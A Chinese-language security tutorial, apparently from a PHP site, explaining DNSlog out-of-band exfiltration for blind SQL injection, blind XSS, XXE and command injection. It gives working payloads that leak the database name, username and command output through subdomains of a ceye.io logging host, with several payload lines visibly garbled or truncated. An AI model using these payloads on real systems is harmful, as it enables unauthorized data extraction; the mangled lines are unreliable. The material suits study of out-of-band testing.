在實際測試一些網站的安全性問題的時候,有些測試命令執行後是無回顯的,我們可以寫腳本來進行盲注,但有些網站會封禁掉我們的ip地址,這樣我們可以通過設定ip代理池解決,但是遇到盲注往往效率很低,所以產生了DNSlog注入。
在使用dnslog之前我們需要先了解一下反引號符號:
符號:`
名稱:反引號,上分隔符號
位置:反引號,這個字元一般在鍵盤的左上角,數字1的左邊,不要將其同單引號混淆
作用:反引號括起來的字串被shell解釋為命令行,在執行時,shell首先執行該命令行,並以它的標準輸出結果取代整個反引號(包括兩個反引號)部分。
DNSlog回顯測試如下:
首先需要有一個可以設定的域名,例如:ceye.io,然後透過代理商設定域名ceye.io 的nameserver 為自己的伺服器A,然後再伺服器A 上配置好DNS Server,這樣以來所有ceye.io 及其子網域的查詢都會到伺服器A 上,這時就能夠即時地監控網域查詢請求了,圖示如下。
DNS在解析的時候會留下日誌,咱們這個就是讀取多層級網域的解析日誌,來取得資訊
簡單來說就是把資訊放在高階網域中,傳遞到自己這,然後讀取日誌,取得資訊。
這樣說原理很抽象,下面透過實際例子看下。
http://ceye.io 這是一個免費的記錄dnslog的平台,我們註冊後到控制面板會給你一個二級域名:xxx.ceye.io,當我們把注入信息放到三級域名在那裡,後台的日誌會記錄下來。
0x01SQL盲注
就以sql盲注為例。深入理解下DNSlog注入過程:
透過DNSlog盲注所需用的load_file()函數,所以一般得是root權限。 show variables like '%secure%';查看load_file()可以讀取的磁碟。
1、當secure_file_priv為空,就可以讀取磁碟的目錄。
2、當secure_file_priv為G:\,就可以讀取G碟的檔案。
3、當secure_file_priv為null,load_file就無法載入檔案。
透過設定my.ini來配置。 secure_file_priv=""就是可以load_flie任意磁碟的檔案。
在mysql命令列執行:select load_file('\\afanti.xxxx.ceye.io\aaa');其中afanti就是要注入的查詢語句
檢視平台,dnsLog被記錄下來。
load_file()函數可以透過dns解析請求。
以sql-labs第五關:
payload:' and if((select load_file(concat('\\',(select database()),'.xxxxx.ceye.io\abc')) ),1,0)-- -
執行的sql語句:SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\',(select database()),'. xxxxx.ceye.io\abc'))),1,0)
查看dnslog日誌,發現security資料庫被查詢出來:
##0x02 XSS(無回顯示)透過盲打,讓觸發器瀏覽器存取預設至的連結位址,如果盲打成功,會在平台上收到如下的連結存取記錄:
payload:>< ;img src=http://xss.xxxx.ceye.io/aaa>讓src請求我們的dnslog平台
0x03 ×××F(無回顯) payload:
%remote;]>
0x04指令執行(無回顯)
當ping 一個網域時會對其進行一個遞歸DNS 查詢的過程,這個時候就能在後端獲取到DNS 的查詢請求,當命令真正被執行且平台收到回顯時就能說明漏洞確實存在。
Linux
curl http://haha.xxx.ceye.io/`whoami
pingwhoami`.xxxx.ceye.io
##Windows
ping %USERNAME%.xxx.ceye.io
#
以上是怎麼合理利用DNSLOG進行無回顯安全測試的詳細內容。更多資訊請關注PHP中文網其他相關文章!